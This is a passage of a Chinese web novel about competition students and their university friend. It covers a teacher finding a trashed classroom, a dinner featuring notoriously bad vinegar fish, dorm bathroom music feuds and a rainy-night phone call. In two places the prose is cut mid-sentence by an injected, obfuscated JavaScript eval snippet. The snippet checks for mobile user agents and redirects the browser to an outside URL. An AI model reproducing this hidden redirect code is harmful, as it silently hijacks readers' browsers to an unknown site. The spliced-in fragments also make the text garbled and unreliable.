“Bytheway,tomorrowisanotherday!经过老陈这么一忽悠,咱们是不是每天就会期待第二天的到来了!毕竟谁也不想天天听他催作业不是。”宋飞珑安慰。 “Yes,sir!哦不!Ayeaye,captain!”激昂的声音从身后传来,段辰船员已经做好了向明日启航的准备。 唐瑜嫣实在受不了了,把手机从向船长敬礼致意的先进船员手上夺回来,让镜头重新对向自己。 镜头争夺间,有一瞬晃过了唐瑜嫣的脸,对面立马传来了抽气声,“嘶,别晃我,我没有订购午夜脑浆摇匀业务!” “还有小唐,多久没晒太阳了?你像要加入精灵旅馆里的尼古拉斯一家。” “不是吸血鬼,不怕大蒜阳光。”唐瑜嫣仰起手机,对着前置镜头端详了一下自己的脸,对比起学生卡上军训后拍的照片,确实是判若两人。 “我们这的天气你又不是不知道,今年更是十一月还刮南风。”她在附着了潮湿水汽的墙上画了一个猪头,反转镜头指给他看,“喏,这是你。” “哇,小唐画我,小唐心里有我!”宋飞珑很自然地认下了自己的灵魂化身,很浮夸地摁着左胸口感激涕零。 “你想多了。”唐瑜嫣翻了一个白眼,突然想起镜头不对着她,对面看不见。于是又画了一个拿着刀的小人,意为残忍斩杀小猪的屠夫,“……然后这是我。” 还没等宋飞珑回话,展妙抢先预判了他的绿茶言论,“猪猪那么可爱,怎么可以杀猪猪。” 此话一出,大家都没绷住笑。段辰刚灌了一大口汽水,这会儿被冷不丁戳中笑点,喉咙一紧,汽水倒灌,上演了一出仙女散花。 “头一回这么期待恢复广播体操,”唐瑜嫣身手矫健地躲开,没让喷泉水误伤,话里意有所指,“都这么久了,太阳也该上班了。” “是啊,太阳也该上班了。”宋飞珑重复了一遍。 太阳确实会上班,但很显然不会来得这么快。 他们晚上打完电话后,又看了一部电影,一部评分奇低无比的史诗级烂片。他们愣是从黑夜笑到了白昼,直到听到舍管阿姨的鸡打鸣,才迷迷糊糊地准备摸回宿舍找归宿。 “段辰,记得关一体机啊……”唐瑜嫣撑着桌子站起来,一把摁在了塑料袋渗出的油渍上,心里一阵恶心,不过还是强打起精神嘱咐段辰。 这人还沉浸在主队夺冠的喜悦之中,嗨了一夜依旧亢奋不减,嚷嚷着要自己要再听三小时录播网课,一定要看到下午四点的铁山再回去睡觉。 唐瑜嫣脑袋嗡嗡的,不倒在竞赛部已经是万事大吉了,哪反映得过来他在说什么鬼话,把桌上的垃圾袋带上,和展妙搀扶着摸出竞赛部。 幸亏宿舍里全是在倒时差的夜猫子,不存在谁打扰谁的问题,大家一块儿睡得天昏地暗,然后在下午悠悠转醒时互道一声“早!” 多么美好一个早上,哦不,下午。可惜悲剧就是把美好的东西毁灭给人看,等老陈领着当时盛老师走进竞赛教室的时候,一切已经来不及了。 竞赛部的灯开着,老陈没多想,估计是唐瑜嫣或者段辰还在里面学习,或者是展妙过来串门,前俩人基本在化竞教室定居了。 “老盛,我真没骗你。你们班小唐,和隔壁班的小段真在我这学得好好的,不可能摆烂分心!不可能玩物丧志!”老陈拍胸口保证。 “没事,老陈,我就想来看看。有段时间没见他们了,我这心啊,总有些不安稳。”老盛还是那副笑呵呵的模样。 后来唐瑜嫣知道后气得牙痒痒,你早不安稳晚不安稳,非要在周末的时候灵机一动,过来关心他们,这跟突击查寝有什么区别! 彼一推门,迎接他们的便是一体机的屏幕上老教授。因为某位不肖学生,教授一刻不停地讲授了七八个小时知识点,语调慈祥缓慢。 尽管已经开了二倍速,他说话的速度也堪堪接近日常语速,十分引人入梦。 而教室里唯一的学生,果真正挂在桌子上呼呼大睡。从某种意义上看,这确实也是老陈话里的“定居”。 不仅如此,与之相伴的还有,东倒西歪地躺满竞赛部地板的汽水瓶,零星分布在桌上的几根忘装进垃圾袋的鸡骨头。 天气太过潮湿,微生物疯狂滋生,空气里徘徊的夹杂了鸡腿香的甜腻汽水味始终散不去。 “这……老陈啊,我怎么觉得我们孩子在这玩物丧志了呢?”盛老师的声音从耳边悠悠响起,“这不太好吧?” “这…这……”老陈抬起的手疯狂颤抖,“老盛,兴许,莫非,退一万步说,哎哟,肯定是有人进来搞破坏啊!” “……所言在理。不过老陈,我怎么瞅着,那躺在最中间的,怎么这么像你的得意门生?” 老盛昧着良心肯定了一下,又觉得这已经不是睁一只眼闭一只眼,简直是眼黑心盲了。 “啧,你看上面的屏幕。这孩子,估 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406486|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计是通宵学习了呢!”陈老师疯狂找补,几跨步蹿过来,腿又踢倒了一瓶没喝完的饮料。 他没管沾湿的裤腿,抓着段辰的肩拼命摇晃,试图唤醒这位熬夜努力人士,“小段,小段?段辰!醒醒…醒醒……” “?陈老师,你怎么来了?哎哟,我听着网课呢,太催眠了,小眯一会儿。” “刚看到哪了?伍尔夫—凯惜纳—黄鸣龙转化酮还是威廉姆斯制醚来着?”段辰揉了揉惺忪的眼睛,又抽了张纸擦口水,此人在梦中八成依旧在吃鸡腿,“哦,我想起来了,是梅西点球大战进了!” 老陈听前半句的时候还满意地点头,一脸真挚地望着老盛,眼里写满了“瞧这孩子,多努力啊!”然后被大喘气的后半句气得脸都绿了。 不过老陈能拿下百人评分团合力评出、号称最菩萨心肠的“铁山最美死火山奖”,确实是有其过人之处的。他挤出一个僵硬的笑容,嘴唇哆哆嗦嗦地打着哈哈。 “哎哟,老盛,你知道的,昨晚体育馆在放世界杯哈。咱们孩子辛苦了,看着放松呢,喜欢的队伍夺冠了,回来吃点鸡腿、喝点汽水,不奇怪不奇怪。” 盛老师捏着鼻梁点头,勉强接受了这个说法。他只是因为刚进来的时候,被这混乱景象吓了一大跳,加上平时红白脸交替唱惯了,本身并没太多责怪的意思。 现在想想,真要论起,他们确实也没违反校规,就是把教室搞得一团糟,现在还没来得及收拾而已。既然老陈递了台阶,他也不愿做那个不明事理、缺少人情味儿的人。 “老陈你说得对啊,劳逸结合,才能提高时间利用效率。不过教室这么乱,确实不符合我们铁山的精神风貌,麻烦小段趁休息时间稍微收拾……” 谁知道段辰这个棒槌,汽水还没醒。还没等他顺着楼梯走下来,就大着舌头抢答,骄傲地把所有事儿抖了个干净。 “嚯!不止世界杯!我们昨晚还和宋哥,一起、一起吃鸡腿,干杯呢。哦…老陈啊,宋哥还蛐蛐你,说你天天忽悠我们!” “???” 这回轮到老盛拍老陈的背顺气了,“老陈,莫生气,莫生气,别人不气我不气,气出病来无人替!咱们要相信老祖宗的智慧,那论语里,强调的就是一个阴阳平衡,中庸之道啊!” “呵,我一个俗人哪懂什么大道理,我只知道酸碱中和还会放热呢!这帮小崽子真以为我没脾气是吧!” “段辰,还没睡醒?这个月竞赛部的卫生你给全我包了!敢少一天,我以后都不会再迈进来一步!”老陈忍无可忍,光明正大地蛐蛐有理了,“还有宋飞珑那小子,下次还敢回来,我要他好看!” …… “事情就是这样,喝汽水误事啊,我恨!”段辰提着半人高的垃圾袋,在楼梯间撞见了睡醒吃饱喝足的唐瑜嫣和展妙,捶胸顿足。 闻言,两位姑娘面面相觑,谁都说不出个所以然。 “没事没事,不怪你,怪我太困了,走之前没注意。”展妙率先反应过来,笑着拍他肩膀聊表安慰。 唐瑜嫣可没有这种好脾气。美好的假期就这样离他们而去,她那骂人的话足足在喉咙里过了两圈,转到嘴边还是拐了个弯儿。 “不不不,与其反思自己,不如创死他人。大家都别愧疚,都赖宋飞珑,等他回来了让他给你洗一个月衣服。” 说着她瞥见角落里的另一袋垃圾,叹了口气,走过去认命地提起一角,身体力行地表示自己立场:“走吧!一块儿吃的一块儿倒。” 38. 第 38 章 面对他们不厚道的甩锅行为和有脾气·陈的危险恐吓,宋飞珑直呼天道不古,在敌军还没打过来之前便举双手投降。 但鉴于他并不会洴澼絖而不龟手的妙法,遗憾落选了洗衣临时工这一肥差,摇身一变,变成了他们集训学校大使馆的接待员。 哦,忘了说,这已经是第二年一月之后发生的事了。 “来来来,开动,大家多夹点,一定要尝尝咱们市地道餐厅的地道美食!”宋飞珑热情地吆喝,生怕他们不够吃,连点了七八盘菜。 这古色古香的高级餐厅买的显然不止是服务与环境,还有经常被大家所遗忘的菜品味道,且其号称从不售卖预制菜。 故而等他们饿得前胸贴后背的时候,菜,终于上齐了。 老板拍着胸口保证其新鲜度的菜品在色泽和香味上无疑是难以挑剔的。 糖醋葱姜和谐相融,衬得鱼肉与小排汁水淋漓,看上去酸甜可口,冒着腾腾热气。 一旁芙蓉清蛋衬着虾仁,龙井茶烟细细缭绕,是江南的雨后初霁。还有那奶黄色的炖汤,鳜鱼肉茸同竹笋蟹黄同熬,鲜味丝丝入扣,也曾暖过南下帝王的乡愁。 饭菜如此可口,但三位竟无一人抢先动筷。 “宋…宋哥,我把你卖了,现在还吃这么好。我寻思,这是断头饭还是鸿门宴啊?”段辰偷瞄着宋飞珑的眼色,有些心虚。 “怎么会呢!以德报德,以怨报怨,哪能比得上以德报怨!”宋飞珑脸上的笑容扩大,维持在了一个很诡异的弧度,“真的,没下毒!” “宋哥,你别这样,我害怕……” “你的迟疑二次中伤了我的小心脏。好在我大度,愿意给你第三次机会。”宋飞珑举起筷子,先行一步,虾仁入口,“一秒、两秒、三秒,没死能吃!” 段辰终于把心放回了肚子里,拿起饭勺舀了一大盆饭,又把酸甜排骨的汁淋上去,谄媚地说:“宋哥,以后我就是您的兵,您要我往东我就往西!” “少年!保持你的桀骜不驯!勇气是不可再生之物!”宋飞珑向他敬了个军礼,转头关心两位女士,“小唐?展女侠?你们……” “我在想,”展妙出声打断,“你不觉得这个上菜顺序很不对吗?” “按理来说,先凉后热,先咸后甜,先荤后素。刚刚他们先上一盘草叶子,再上鱼,中间又夹了道凉拌木耳,最后上了一锅汤。这店也忒不讲究了!” “要是这是个电脑程序,一定用的是最烂的那套算法!”她总结。 “那是因为他们想忽悠我们吃那盘鱼!”唐瑜嫣忍无可忍,“你以为我没听过西湖醋鱼那堪比号称南北双雄的北京豆汁和广东凉茶的赫赫威名吗!” “哐当——” 段辰手腕一松,筷子连带着即将入口的鱼肉一块儿落到了桌面上,发出清脆的声响。他摁着心脏大喘气,“宋哥,你还是要收下我这条命吗!” “原来是这样,我就说奇怪,这么大个店怎么可能连上菜顺序都搞不懂!”展妙恍然大悟。 “哎呀!被发现了,那就由不得你们了!”宋飞珑状似苦恼地摇摇头,“今天这条鱼,你们不吃也得吃!” “那我只好舍命陪君子了!”段辰如同壮士断臂,重新挑选了一个最小块最嫩的部位,闭着眼往嘴里塞,“呕……好腥!” “味道真有这么奇怪吗?我也尝尝。”见他一脸痛不欲生,展妙也捏着鼻子尝了一块,“呕……这酱到底怎么拌的?” “别看我,我死都不吃。”感受到三道充满怨念的眼神向她望来,唐瑜嫣严防死守,用手虚掩着自己的碗,“我都说了很难吃啊!” “小唐你不想尝尝到底有多难吃吗?一般难吃我不吃,特别难吃我偏要尝尝咸淡!”展妙连灌了几口茶,终于压下了这该死的酱的后调,“万一很符合你胃口呢!” “是啊,小唐,万一你就喜欢这种酸甜苦辣咸腥感呢!” “我不!没有冒犯的意思,但我不是异食癖!”唐瑜嫣努力推攘,想方设法试图守住自己的碗。没想到另一个新的碗出现在她眼前。 “哼哼,来,小唐,我帮你挑好刺了,你直接吃就好!”哦,这位群众中的坏人是宋飞珑。 这人像炊事员端着碗毒鸡汤般捧着一大碗沾满酱料的鱼肉,“鱼肉来咯!哎试试试试嘛,来都来了!” “到底是谁发明的这句话!”唐瑜嫣血压飙升,一脸嫌弃地挑衅宋飞珑,“行,但我吃你也得吃!” “好一个以身入局,小唐大气!”段辰率先鼓掌捧场,“感谢宋哥不计前嫌,与我们同甘共苦!” “好好好,现在是把我架起来了是吧!没问题,你吃我也吃!”宋飞珑拍板。 “这叫害人终害己,冤冤相报何时了。”唐瑜嫣凑近闻了一下糖醋酱的味道,难以言喻。“算了还是一口闷吧。”她皱着眉头视死如归。 “呕……不好吃,也没有想象中难吃,菜是什么味它是什么味,算了我不评价了……可能真有人喜欢吧,尊重祝福。”一段废话从她大脑皮层滑过。 “哈哈哈哈哈哈哈,给我们小唐干出废话文学来了!”展妙靠着她肩膀笑得前仰后合,“来来来,我们的下一趴!” “不,下不了一点!宋飞珑你也得给我吃!”唐瑜嫣把展妙的茶杯抄过来狂灌了几口,“我会死死地盯着你!” 宋飞珑觉得她像个气炸的小河豚,想笑不敢笑,连忙夹了一大块鱼,又在酱里滚了一圈,放进嘴里,“这样可以吧!我吃的比你大块!” “这么利落?你不会是真喜欢吃,纯奖励自己吧?”唐瑜嫣狐疑地问。 “请苍天,辨忠奸!天可怜见,我只是每次接待朋友都要吃一次现在麻木了呀大人!”宋飞珑表示自己已经第三次被辜负,“我的心,千疮百孔!” “502粘上还能用,用不了二手市场还能以旧换新!”唐瑜嫣笑得残忍,“好了,我同意进入下一个环节!” “下一个环节是啥?”段辰终于把头从碗里抬起来。在那三个斗嘴之际,他已经把桌上所有的菜全炫了一遍,附带闷了三碗饭了,“我们原来还有别的活动吗?” “下一个环节不是吃饭吗?”展妙瞪着眼看桌上少了一半的菜,“哦,我的上帝,段辰你战斗力惊人!” “哎哟,承让承让,小生不才,就是吃饭比较饭桶!”段辰趁咀 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“很多人觉得参加活动浪费时间,这确实挺难平衡的。咱们理工科平时课又多又难,不好好学就学不会,学不会就考不出,考不出就绩点低,绩点又差不多是大学里面评判学生是否优秀的最重要的东西。” “不过也是你们集训来得太晚了。大家之前出不了宿舍,学校怕我们被闷坏了,专门举办了个多校联谊,还挺好玩的。现在大家要么在期末周,要么已经考完回家了,学校空了一大半。” 虽然不想打击高中生对未来美好生活的向往,但他还是很诚实地解释。 他在心理咨询室呆过,也见了不少被过度画饼,以为大学很轻松的人,了解到真实的学业压力后情绪奔溃的场景。 他很难描述他每次看到这些人的心理,称不上哀其不幸,怒其不争,就是为他们理想的灯塔熄灭而感到惋惜。 “哎,以后的事以后再说。咱们先过好今晚,我先投打麻将一票,正巧四个人,不缺角!”展妙叼着一块排骨,兴致勃勃地建议。 “展姐,这真打不了。你信不信,我们现在去,出来的时候,第二天早上的太阳都升起来了!”唐瑜嫣抬手看了眼时间,差不多九点了,“明天周一,咱们还不补了觉。” “还真是,麻将确实上瘾。”展妙蔫了,“要不我们下周六早上就开打呢?老宋你还在学校呆多久?” 这可真是打瞌睡遇上枕头,宋飞珑老早就在等这句话了。话音刚落他便骄傲地扬起头,“我向学校申请住宿了,等你们集训完一起回去。我这陪读当得怎么样,尽职尽责吧?” “感动了,要不你女装帮我考吧,这叫陪考。”唐瑜嫣把蛋和饭拌在一起,舀了一勺鲍汁,满意地品尝她的劳动成果。 “我去,不早说。我还以为这叫枪手作弊呢!”宋飞珑笑意盈盈地拒绝,让她死了这条想给自己套女装的心。 “所以你们没人注意到未成年人不许进麻将馆吗?”段辰在旁边弱弱地举起了手,“你们之前是在家里和长辈打的啊!” “多大点事儿,我在校外有一套小房子,虽然平时不住,但也整了台麻将桌,这样看起来有家的感觉。”宋飞珑轻松地打断他,“反正咱们不踏进麻将馆、不打钱就好了!” 39. 第 39 章 “老宋拜拜!小唐被我拐走了哦!”宋飞珑把她们送回学校安排的临时宿舍楼底下,展妙一只手揽着唐瑜嫣,另一只手使劲挥动。 “感谢款待,有缘江湖再见。”唐瑜嫣玩着手机默默补充。 他们后面又加了一轮甜品,吃饱出来已经到夜生活的时间了——可惜高中生不配有夜生活,没法感受大城市的灯红酒绿和夜夜笙歌。 作为一个健康阳光的大学生,宋飞珑也不愿带坏祖国的花朵,于是他选择了一个最健康养生的饭后活动——绕湖散步,听歌赏曲。 绕的是江南最有名的湖,听的是人民艺术家唱的曲儿,也不算是虚度光阴。 唐瑜嫣跟在展妙后面三步作两步跨上台阶。不知道到底是她们运气好,还是宋飞珑找老师暗箱操作了一下,她们两个人享受了一个上床下桌的四人间,生活水平直线上升。 “咱们明天中午回来再洗衣服吧,我刚看天气预报说晚点要下雨。”唐瑜嫣打开手电筒照着锁孔。黑灯瞎火的,展妙刚刚拿着钥匙捣鼓了半天还没插进去。 “唔,开了。”展妙把门推开,又打开灯。她们的影子被白炽光拉得长长的,映在门外的走廊上,有两个空窗板的宿舍显得愈发空荡。 她把外衣搭在椅背上,把椅子转了个弯,面对唐瑜嫣坐下。她指了指脚边的脏衣篓,话里话外都是不满,“怎么又下雨?我们不会南风天又接梅雨季吧?” “那倒没有,今晚应该是意外降雨,”唐瑜嫣拉开抽屉,抛了一瓶酸奶给她,“我刚刚还看到我们课表出了,每天都是满的,还安排了集体晚自习。” “集训也有集体晚自习吗!我还想去大学的图书馆感受一下自习氛围呢!”酸奶正中展妙怀里。她漫不经心地把吸管插进去,猛吸一大口,然后叼着吸管哼哼唧唧。 “又不点人,溜呗。去图书馆学又不是不学,是阶段性的学,是符合自身需求的学,是具有独创性的巨大改变。”唐瑜嫣挑眉,不假思索,张口就来。 “哎,正有此意!既然这样,逃都逃了,我们顺便把通宵自习室也探探吧!”这提议简直是高山流水觅知音,什么锅配什么盖。 展妙闻言兴奋地蹬地,搭载她的椅子应声旋转一周,发出“咕噜”的抗议声。怎料两位离经叛道的青春期少女已经完全沉浸在自己的艺术中,没空搭理它了。于是只得忍气吞声地回到原位。 “还有,我还想去观摩一下老宋他们实验室呢,一千万一台的实验设备,谁不想看看到底长什么样。不会像擎天柱、威震天这样会变形吧!” “这是实验仪器,不是变形金刚,这俩都没有相同染色体,压根算不上一个物种。哎……下雨了。”唐瑜嫣听见雨水敲打玻璃的声音,转头看向蜿蜒着细密雨丝的玻璃窗,“把毛巾也收下来吧,咱们去洗澡。” “周末、雨夜、宅家、聚餐。挺好,满足我对未来生活的想象了,哦,虽然是超低配版。”展妙激动地从椅子上蹦下来,终于放过了这个被她折腾许久的坐骑,“小唐,以后咱俩买房子买对门呗!” “那你要努努力了,我还真有套房子。以后干不下去了就回家躺平,谁也别想阻碍我跳出三贷外,不在五险中。” 唐瑜嫣把晾衣杆递给她,靠在墙边笑着向她眨眼睛,心想,真要是混不下去了就躺在家里坐吃山空,能混一日是一日,靠男人是绝对不可能的。真要吃不上饭了,大不了拿个碗跑出去投奔丐帮。 ——当然,这只能停留在想象层面。 展妙被她的当代侠士气概震惊,“坏了,那我真要坚守道心了,要是以后动了什么歪心思,藏那么一两件宝贝,这不得被全江湖通缉!” “经济自由之路任重道远啊!”唐瑜嫣学着宋飞珑那样仰头装深沉。你别说,这角度还真像那么回事,宋飞珑可能还真研究过。 她们被分配到的这栋宿舍楼只有一楼有公共浴室,每次洗澡都要抱着盆子下去排队,这让她们这些宿舍有独立卫浴的铁血南方人顿感水土不服。 今天也同往常一样,还没等她们提溜着沐浴露走进浴室,几道强劲的音乐早已穿墙而出。 很好,虽然没机会看到校歌舞队的表演,但至少她们每天能听到民间remix交响乐团的合作曲目。 唐瑜嫣原本想精挑细选一个相对安静的单间进去,可惜排队的人太多,由不得她挑三拣四,哪儿空了进哪,命运就是如此公平。 据著名奥斯曼黑色大猫折卡游戏*之典故,浴室自古以来都是相互交流、打探消息的朝圣要地。如今成了各流派宗门举行圣战的地方也不足为奇。 好了,不说这么神神叨叨的。其实也就是大家都喜欢在洗澡时听音乐,连籍贯都是来自天南地北五湖四海,喜欢的歌曲风格更不可能完全相同。 以至于每天公共澡堂里都会有各方势力中门对狙,比谁放的声音大,比谁的音响更有劲。 后来唐瑜嫣复盘时多次吐槽,自己在集训中提升最显著的竟是音乐鉴赏能力。 此时她一进来便竖起耳朵仔细辨认了一番,把周围情况打探清楚后,不由得心想,今天运气好像还不错。 她的左邻在享受甜到牙疼的阳光小甜歌,右舍沉浸于轻快灵动音符流转的古典纯音乐,对面在听根骨奇佳的蒙尘宝玉从种田到位列仙班的逆天改命之路。 先不管好不好听,至少还挺融洽,不洗脑。她前两天刚过来的时候有一次,从踏进浴室开始,足足听了十几分钟的《好运来》单曲循环,以至于晚上梦里全是千纸鹤和红飘带。 好日子没过几分钟,右边那个人洗完先行离去,换了一位喜欢韩国女团曲的姑娘进来。彼一开门,便不满地大喊:“隔壁的隔壁,别放这些傻白甜口水歌了,打扰到我欣赏我担绝美音色了。” 这位喜欢小甜歌的姑娘也不是个善茬,直接火爆回怼:“这么多人放歌你就说我?我真不知道这些泡菜歌好听在哪!” “什么啊,没品别乱说!” “哎!你说我人品不好我不跟你闹,你说我歌品不好我高低得跟你讲讲道理!” “你没品,你就没品,多大了还听哄小姑娘的歌。” “行啊,就你有品,就你成熟,你个老太婆!” 唐瑜嫣被这俩夹在中间,一句句对话从她脑袋上抛过,撞得她眼冒金星。 不过她无意逐鹿,也懒得管什么苍生苦楚。把自己涮洗干净后赶紧套上衣服跑路。 直到跑回宿舍、把门关上之后,她才终于松了口气。 可那口气还没落稳——甚至没来得及吸回下一口,将呼吸的循环接续下去——一段截然不同的旋律,便不知从何处骤然响起,在空荡的宿舍里,来回荡了好几下。 那口气就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406488|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样卡在了她的嗓子眼,心跳莫名加速。这一上一下,可就苦了她的呼吸系统和神经系统。 “这是闹鬼了吗?怎么追着我跑……啧,总觉得这旋律有点熟悉。”她揉了揉太阳穴,试图寻找声音的源头。 今天展妙难得有些磨蹭,还没收拾好回来。此刻宿舍里只有她一人。 “一个人吗?这倒真适合惊动那些校园怪谈”唐瑜嫣沉思片刻,还是打算找找声音的源头。反正自己也是个唯物主义者,说到底也不害怕这个。 她小心翼翼地绕着宿舍走了一圈——然后发现是她自己的手机在自己的桌子上震动,顿时感到一阵无语。 “真是手机静音久了,自己的铃声都不认识了。音乐听久了,听什么都应激了。”唐瑜嫣把充电线拔开,揣着手机站在镜子前给自己翻了个白眼,然后点击接听键。 “宋飞珑,大晚上的给我打电话,你最好也不是想说什么起来重睡这种鬼话。”她很没好气地说,把之前受到的一系列乌龙气全撒在他身上。 “哎哎哎,别挂别挂。我现在在你们宿舍楼底下,你不是十二月的生日吗,很遗憾没办法办线下聚会。我现在把你生日礼物带来了,麻烦你下来把它收养回家好吗!” 唐瑜嫣往窗外一看,还在下雨,烦躁地踢了门一脚,“可能你有所不知,但我不介意告知你一下,你真的很会挑时间,我刚刚洗完澡上来。” “……还有你不看天气预报就算了,耳朵也聋了吗?外面天漏了倒着水呢,又不差这么一两天” “……行,到时候被淋感冒了,你别想使唤我把你背去医务室端茶倒水驱寒问暖!” 这么噼里啪啦的一大段话把对面干沉默了两三秒,然后用魔法攻击回敬她的言语攻击——这人莫名其妙地开始喘气了!真是不知廉耻! 伴着白噪音的气音刺激着唐瑜嫣的听骨神经,生物信号和电信号开始疯狂转换。她感觉浑身过了一道轻微的电流,酥酥麻麻的。 “……小唐,我能说我是突然想见你,想借礼物的名义,你会觉得我是失心疯吗?”她听见那人温柔又疯狂地说,她总感觉如果今晚不应约肯定会错过什么。 她叹了口气,开始收拾雨夜出门的行头,往身上套衣服。这澡白洗了不算,晚点又要听一遍交响乐了,该说不说,票价可真值。 “啧,行,不过你得有充分的理由说服我,让我重新穿上衣服从温暖干燥的室内走出去。”唐瑜嫣整理着刚套上的毛衣的领子,漫不经心地说。 “如果你愿意举着一个价值千金枕头当伞,倚着一个拆卸下来的方向盘作拐棍装绅士,再为我铺上一片目力所致看不到头红地毯,我说不准可以考虑考虑骑着一匹白马把你接走。”唐瑜嫣系上鞋带,为他提建议。 宋飞珑低笑一声,“可是我今晚什么都没有,我只拿了一把能把我们俩挡住的黑伞和一只毛茸茸的大熊。伟大的女王殿下愿意降下您的荣光吗?” “……好吧,这是你的荣幸。等着向朕跪安吧。” 唐瑜嫣说着单手推开宿舍的门,和准备进来的展妙撞了个正着。 两人都有些错愕,站在原地梗着脖子,像俩看对眼的斗鸡。还是唐瑜嫣先反应过来,侧身给展妙让路,又向她比了个去去就回、给我留门的手势。 最终在对方八卦又震惊的眼神下飞速跑下了楼。 40. 第 40 章 其实宋飞珑也搞不清楚自己为什么突然灵光一闪,总之灵感来了拦都拦不住。 他把段辰也送回宿舍后,绕了大半个校园才回到自己的领地。 领地内灯火稀疏,许多大四生都已经考完试回家了,此时留在学校坚守阵地的才是少数。 大学生嘛,离家小半年,谁不想早点回家,吃一碗楼下小摊上的早餐,这可比那些山珍海味美味多了。 更何况,“家”这个字在所有人心中本就有特别的意义。 宋飞珑在门外就有些奇怪,唐瑜嫣那边黑灯瞎火的是再正常不过了,他们宿舍门缝里透着光可就有些反常了。 因为按理来说,现在里面不应该有人,除了他以外,他们宿舍里就算是最晚走的那个,买的也是今天下午的车票。 宋飞珑出去之前还看见他在兴高采烈地收拾行李,边说边嚷嚷着要远离学校这鸟不拉屎的地方,去给他在沪上学的女朋友一个大大的惊喜。 宋飞珑试探性地敲了敲门,一声有气无力的“进!”从门里飘出来。 “老刘?” “昂,是我。我头有点晕,麻烦你自己开一下门哈!”听起来不是吃多了毒菌子眼冒金星,就是喝高了在神智不清地梦呓。 不知当时学校是以什么为标准分的宿舍,可能是山河四省高考基数重大吧。宋飞珑的舍友有两个是逢人就喊老师的山东人,不管诚不诚心,礼貌是到位的。 眼前这个老刘是来自东三省的纯正北方人,有着大兴安岭山风过境般的豪爽开朗。他那带着大碴子音的普通话基本扫空了宿舍里所有发生矛盾的可能性。 宋飞珑本身也是个脾气好又大方的主,别的不说就是能说,黑的能说成白的,白的能说成灰的,把宿舍人际关系处理得服服帖帖。 因而虽然平时大家各忙各的,真要有事也会限时两肋插刀一下。 听出里面状况不对,他赶紧摸出自己的钥匙向锁芯扭。 作为一个大四老土著,宋飞珑在开宿舍门这一领域可比展妙权威多了,咔咔两下便清除了障碍。 锁一开他便伸手往里探,没想到门刚推一半就推不动了,像有什么东西堵在了它的行动轨迹上。 宋飞珑照着门缝比划了一下,长也不够长,宽也不够宽,索性只得侧身硬挤进门。 身子还没完全进去呢,就踢到了一个不明物体。哦,不是不明物体,这好像是他的倒霉舍友。加个限定词——喝高了杵在宿舍门口当门神的倒霉舍友。 “老宋?你回来了?玩得开心吗?”感受到投在他身上的人影,那人动也不动一下,双手摊在两侧,仿佛置身天堂。 “怎么喝成这样?”宋飞珑捡开绕着他身体摆了一周的啤酒瓶,这摆法怪不吉利的,“起得来吗?我扶你回床上躺。” “别,让我再躺会,这儿凉快。而且…我在,数星星呢!”这酒鬼拨开宋飞珑伸向他的手,眼神迷离地粘黏着天花板,嘴里念念有词,“你看啊……就在那,好刺眼,两颗,二颗,五颗……” “……老宋,你说我怎么就这么倒霉啊,倒霉的事比天上的星星还多。” “怎么会呢?福兮祸之所倚,祸兮福之所伏,过完这一阵,你的大运快撞上来了!”宋飞珑并不打算和这个连两和二都弄不清的二货酒鬼争长短,扔了件羽绒服盖在他身上,又顺手打开了空调。 “况且,照你这么说,老蒋可真要和你闹了。你怎么光数着倒霉的事儿去了。平时抽卡双黄向全世界展示的时候,怎么不见你嚷嚷自己倒霉呢?” “哦,不对,那样就成凡尔赛了,更气人。” 刘启还在组织着向他哭诉的长篇大论,被他这么一提醒,立马把打好的腹稿扔去了爪哇国。 被酒精迷惑的大脑处理器重新迟钝地搜索信号,系统404notfound转了好几圈后,终于开辟了一个新路径。 他脸上表情几经变化,最后留下了近似于嘿嘿一笑的那一个。 他扬起下巴,骄傲地倒豆子:“这么说的话也是哦!不过老宋你还是保守了,我前两天还抽出三黄呢!把蒋星彻气了个半死哈哈哈哈哈哈嗝!” “好好好,老蒋跟我骂半天了。他说你这三个还全没歪,气得他怒充3个648,把那个月的生活费全充进去了。” 宋飞珑轻笑着应和,在刘启柜子前倒腾了一会儿,翻出了他下午刚收进去的水杯,就着热水壶冲了瓶蜂蜜水,走到他旁边席地而坐。 “来,咱俩喝一杯。不不不,不是这个,啤酒太苦了,跟你分享点小甜水。”宋飞珑把他手上的酒瓶抢过来,将热腾腾的杯子置换回去,自己拿着啤酒跟他碰了碰。 见有人和他碰杯,刘启也不管手上拿的是不是酒,一口气咕噜咕噜全干了。 带着甜味的暖流顺着消化道流进他的胃中,刘启感觉大脑清醒了些,那种撕心裂肺想把肠子掏出来的冲动也渐渐收了回去。 他把杯子往身侧重重一撂,红着眼看向宋飞珑,“老宋,你知道吗,她跟我提分手。” “果然还是情感问题吗,不过应该只是个开头。”宋飞珑在大脑里搜索了一会儿那个“她”是谁。哦,那个说话像撒娇的上海姑娘。他们好像谈挺久了的,刘启还像孔雀开屏似的给她做了一个彩虹瓶。 想到这,宋飞珑同情地拍了拍他的肩膀,示意我听着,你继续。 “老宋你见过她,你肯定知道,咱俩是大一游学的时候认识的。她笑起来好可爱,不笑的时候也可爱,就是好可爱好可爱。我真的……巨巨巨喜欢她。我们说好毕业工作了就结婚。” “哦,还有,你知道吗……我跟她玩石头剪刀布,我只能出剪刀,因为她是我的全部。” 